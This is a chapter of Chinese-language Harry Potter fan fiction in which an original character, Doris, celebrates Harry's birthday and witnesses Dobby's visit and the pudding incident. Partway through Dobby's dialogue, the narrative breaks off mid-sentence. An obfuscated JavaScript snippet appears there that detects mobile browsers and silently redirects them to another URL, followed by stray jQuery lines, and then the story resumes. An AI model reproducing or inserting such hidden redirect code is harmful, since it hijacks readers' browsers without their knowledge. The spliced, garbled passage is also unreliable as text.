哈利和弗农姨父的争吵总算是起了效果，尽管佩妮姨妈对这件事的反应大得出乎哈利的意料，但为了“大局”，她还是做出了让步。


    至此，哈利几乎为自己赢得了有史以来最快乐的生日。7月31号那天，当佩妮姨妈开始为客人准备晚餐，弗农姨父带达力去取定制的礼服，哈利就已经溜到了金塞拉家。


    多丽丝正在金塞拉先生的指导下烤一个生日蛋糕，但这显然不是多丽丝的强项，哈利在金塞拉夫人的带领下走进厨房时，多丽丝一不小心把面粉撒得到处都是，正一边咳嗽一边笑，金塞拉先生顺势用手指在多丽丝沾满面粉的脸上画了个小猫的图案。


    哈利在一旁看着，心里莫名地一阵心酸——这是他从未感受过的家的温暖。


    “哈利，你来了。要不要过来一起做？”多丽丝像一只小鹿一样蹦跶过来，露出两颗小虎牙。


    哈利没有说话，但他还是在多丽丝的带领下走了过去。


    哈利有着在德思礼家干了这么多家务的经验，做蛋糕这种小事自然也是难不倒他。但多丽丝相比之下就逊色了很多，她总是把“适量”弄成“过量”。没过一会儿，多丽丝自认为没天赋，留在那里还会给爸爸帮倒忙，识趣地离开了厨房。


    晚餐时多丽丝家的厨房里飘满了蛋糕的香甜气，黑暗的环境里，燃起的烛火使哈利的脸上蒙上了一层暖黄色的光。哈利闻着蛋糕的香气，听着生日快乐歌，突然鼻头一酸——这还是他第一次和朋友们过生日，第一次有一群人围着他为他唱生日歌，原本聚在一起的烛火在他的眼里慢慢分散、变得模糊了起来。他又不自觉地想到了罗恩和赫敏——暑假已经过了这么久，他们俩连一封信都没给他寄过，他甚至开始怀疑他们俩是不是已经把他给忘了。


    但哈利很快摇了摇头，想把这些事情抛在脑后，这般快乐的时光可不能因为这些事情而变得伤感。


    “你知道吗，巫师也有他们自己的体育运动，一个是魁地奇（Quidditch），这个偏竞技性一些，还有一种叫做班弗迪（Banflodive），这个就偏观赏性一点，对参赛者的要求更高，规则也比魁地奇更复杂——说实话，我到现在也没看懂它的规则，不过你学过芭蕾，柔韧性肯定没问题，你去学校之后绝对可以试一试，”谈及体育运动，哈利津津乐道，“还有，它相对来说比较小众，对场地的要求也更高，所以霍格沃茨的校队通常就代表了英国的国家队，他们今年六月份才刚刚拿了世锦赛的双人冠军。”


    “好啊。”多丽丝的眼睛瞬间变得亮晶晶的，本来，她还为去了魔法学校之后就不能天天跳舞而感到有些失落呢。


    晚饭后，多丽丝邀请哈利去自己的房间，两人有说有笑地走上了楼梯，多丽丝一面聊着天，一面拧开了房间的门把手。


    毫无防备地，多丽丝发出一声尖叫，哈利顺着多丽丝的目光看去，也差点叫出了声。


    一个不知道是什么的东西正在多丽丝的床上坐着，脏兮兮的脚在多丽丝白色印花的床单上留下了许多黑色的印记。


    “我……”多丽丝被惊得倒吸一口凉气，“我前两天才换的床单！”


    床上的小怪物一下子跳到了地上，多丽丝这才看清他的样子。小怪物长着网球一般大的一对凸出的绿色眼睛，两只蝙蝠翅膀似的大耳朵在他说话时不断地扑扇着。


    “哈利·波特，万分荣幸，还有多丽丝·金塞拉小姐。”小怪物深深地鞠了一躬，长长的鼻尖碰到了房间里的地毯上，身上穿着的一个像是掏了四个洞的旧枕套一样的东西还沾着许多污渍和泥垢。


    “你是谁？你为什么会知道我们的名字？”多丽丝看起来非常地恐惧和局促，身体不自觉地往衣柜上贴。比起床单，她更在意这个小怪物的身份。


    “哦，小姐，叫我多比就好，家养小精灵多比。”小精灵尖声尖气地说。


    “家养……小精灵？这是？”多丽丝朝着哈利的方向看去，希望他能解释一下，可哈利看起来也是一头雾水。


    “呃……你好。”哈利局促地说，“对不起，但我实在不知道……”


    “没关系，先生小姐，没关系，多比只是太激动了，忘记了做自我介绍。”


    “那……你到底为什么过来？有人派你的？”多丽丝依然紧紧贴着衣柜。


    “多比……哦，多比不能说，因为多比没有经过主人的同意。”多比说着，突然又像疯了一样跳起来，径直冲向了衣柜，用衣柜门狠狠撞着自己的头——衣柜门发出哐啷哐啷的声音——尖声大叫着“坏多比！坏多比！”


    小精灵的力气出奇得大，哈利和多丽丝两个人合力才把多比的额头和衣柜门分开。小精灵摇摇晃晃了几下，又要用床头柜上的台灯打自己。


    “喂，快住手！”多丽丝焦急地说。楼下已经传来了金塞拉夫人的声音：“多丽丝，亲爱的，怎么了？楼上是什么声音？”


    “没事，妈妈，我不小心把一个箱子弄倒了！”多丽丝一遍用力按住多比，一遍大声回应着。


    “你为什么要惩罚自己？”多丽丝气喘吁吁地问。


    “小姐，家养小精灵是不能在没有主人允许的情况下私自行动的，可多比必须这么做，这是为了哈利·波特的安全！哪怕多比不得不把耳朵夹在烤箱门里！”小精灵看起来也累坏了，大口大口地喘着粗气。


    “主人家？”哈利问道。


    “啊，先生，每个家养小精灵都有他们服侍的一家，他们必须听主人家的指令，必须为主人家保守秘密。”


    “为了我的安全？”哈利的眉头皱在了一起，“为什么？”


    “这个说来话长，先生。”多比局促地将光溜溜的脚在地板上蹭着，一副欲言又止的样子。


    “你要不先坐下说？”哈利说。


    又是一声歇斯底里的尖叫——多丽丝觉得她的心脏没有办法再承受第三次这样的惊吓了——多比的鼻子抽了几下，接着便抽抽嗒嗒地哭了起来。


    “嘘！”多丽丝慌忙把食指压在嘴唇上，“有什么话不能好好说啊！”


    “从来没有，从来没有巫师……叫多比坐下过。”多比的音量不降反增，用力地用枕头套擤着鼻子。


    “是啊，但这是在我家里，”多丽丝小声说，心里祈祷着父母听不到多比的尖嗓门，“你可以……不用像在主人家一样。”


    “哦，小姐，你和大名鼎鼎的哈利·波特一样心地善良！”多比一下子扑到了多丽丝的脚下，哭了起来，湿热的泪水混着鼻涕，多丽丝多希望自己今天没有穿纯白色的长裙。


    “所以，你能不能告诉我，到底是什么事。”哈利站在一旁看着多比，忍不住问道。


    “哈利·波特今年绝对不能回到霍格沃茨魔法学校！”多比露出了害怕的眼神，“霍格沃茨今年将会发生特别可怕的事，这是为了您的安全，先生。”


    “什么？为什么？谁在指使？”哈利茫然地说。


    “哦！”多比尖声说，又想冲向多丽丝摆在窗台上的花盆，但多丽丝这次有了防备，在多比跳起来之前按住了他，多比挣扎了几下，无力地说，“多比……差点就泄露了主人的秘密。”


    “可是我不能不回学校，我不能待在德思礼家，我的朋友们都在学校。”哈利急促地说，好像语速稍微慢一点，他就会永远地被关在德思礼家。


    “什么朋友？”多比的表情里突然出现了一丝狡黠，“连信都不写一封的朋友吗？”


    这句话准确地戳到了哈利的痛处，但他第一反应还是维护罗恩和赫敏：“我想他们只是……等等……”


    “你怎么会知道这件事？”哈利和多丽丝异口同声地说。


    “哦，哈利·波特千万不要错怪多比，这都是为了哈利·波特好。”多比缩着脑袋，总枕套里掏出了一叠鼓鼓囊囊的信。


    “你截了我的信？”哈利有些恼火。


    “不是我说，多比，你这样确实太没边界感了。”多丽丝看着眼前的一幕，脑子渐渐跟不上嘴的速度。


    “多比以为……以为……哈利·波特如果以为他的朋友们都把他忘了，他就不会想会学校了。多比很抱歉，但他不得不这么做，这是为了哈利·波特好。”多比低着头说。


    “我不能，”哈利坚持说，“我得回学校。”


    “还有一个问题，”多丽丝突然插了进来，“你怎么会知道他今晚在哪？”


    “哦，多比，多比躲在树篱里，听到哈利·波特说他今晚要去您家，因为他的姨父姨妈要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273825|166648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    准备一个很重要的晚宴，绝对不能搞砸，”多比看起来有些羞愧，可随即又提高了音量，“哈利·波特必须保证他不回学校！”


    “我不能，”哈利坚决地说，“除非你告诉我是为什么。”


    “那多比别无选择了，先生，这都是为了哈利·波特好。”多比打了个响指，哈利刚准备伸手抓住他，空气中突然出现了一声爆裂声，多比消失不见了。


    “什么？”多丽丝看着哈利的手无力地抓了一下空气，十分惊愕地问。


    “不对。”哈利心里升腾起一种不好的预感，拉开房间门就向外冲。


    多丽丝和哈利在金塞拉夫妇惊异的目光中冲出了大门，穿过漆黑一片的马路，来到德思礼家的家门前时，二人不约而同地放慢了脚步。


    哈利从口袋里掏出钥匙——这是弗农姨父特批给他的——小心翼翼地把它对准锁眼，又尽可能轻地转了转钥匙。


    哈利和多丽丝轻手轻脚地推开门，眼前的一幕差点让他俩停止呼吸——多比正站在门厅里，弗农姨父正在给梅森夫妇讲高尔夫球的笑话，而他们的背后，佩妮姨妈精心准备的布丁正悬浮在半空中，并慢慢地向着梅森夫人的头顶移动。


    “多比，快回来！”多丽丝用气声着急地说。


    “哈利·波特必须保证他不会回学校！”


    “我不能。”哈利倔强的语气中带着一丝悲哀。


    多比又打了一个响指，悬浮在半空中的布丁受到地球引力的作用，在一瞬间掉在了梅森夫人的头上。


    又是一声爆裂声，多比消失了。


    德思礼一家的眼神像箭一般射向了门口，哈利正将手举在半空中，像是要拥抱空气，而多丽丝在他旁边尴尬地站着，洁白的裙摆上还留着多比的枕套上的污渍。


    “哦，我那个外甥，脑子有点毛病，所以我把他送到邻居家了。”弗农姨父找补道。


    梅森夫妇都愣在了原地，梅森夫人甚至没有注意到佩妮姨妈递给她的热毛巾。


    一声啼叫打破了这令人尴尬的沉默，一只猫头鹰盘旋着飞进了德思礼家的窗户，将一封信丢在了弗农姨父的手上，又盘旋着飞走了。


    梅森夫人尖叫着逃出了房子，梅森先生解释说他太太对鸟类特别害怕。


    “猫头鹰！”弗农·德思礼咆哮着说，“我受够了！”他一把撕开信封，里面的信件一下子飞到了半空中，开始一本正经地朗读信上的内容。多丽丝不禁庆幸梅森夫妇没有看到这一幕。


    波特先生：


    我们接到报告，得知今晚九点十二分你在你的住处用了一个悬停魔咒。


    你知道，未成年巫师不许在校外使用魔法，你如再有此类行为，将有可能被霍格沃茨魔法学校开除（《对未成年巫师加以合理约束法》，1875年，第三款）。


    另外请记住，根据《国际巫师保密法》第十三款，任何可能引起非魔法界成员（麻瓜）注意的魔法活动，均属于严重违法行为。


    祝暑期愉快！


    你忠实的


    马法尔达·霍普柯克


    魔法部禁止滥用魔法办公室


    多丽丝目瞪口呆地听完，她看了看哈利，哈利像闯了一场大祸一样低着头。德思礼夫妇惊讶了一秒，随后，弗农姨父的猪眼睛里闪过了一丝狡猾。


    “你没告诉过我们你不能在校外用魔法，”弗农·德思礼说，“忘了吧，我猜。”


    多丽丝站在哈利和弗农·德思礼中间，进也不是，退也不是。


    “德思礼先生，对不起，这件事主要怪我。”多丽丝刚想开口替哈利辩解几句（因为德思礼一家不敢对她怎么样）就被佩妮·德思礼的尖声高叫打断了。


    “你出去！不要出现在我家！现在！立刻！马上！出去！”


    所有人都停了下来，惊讶地看着她。


    多丽丝尽管满肚子疑惑和尴尬，但还是礼貌地向德思礼夫妇道了个歉，然后匆匆地跑了出去。


    接下来的几天哈利一直被关在自己的房间里，多丽丝从自己的房间里看去，发现他房间的窗户上被焊上了一个铁窗。


    几天后的一个夜里，多丽丝被一阵轰鸣声吵醒，她从床上跳下来，拉开窗帘，一辆汽车正停在哈利的窗前。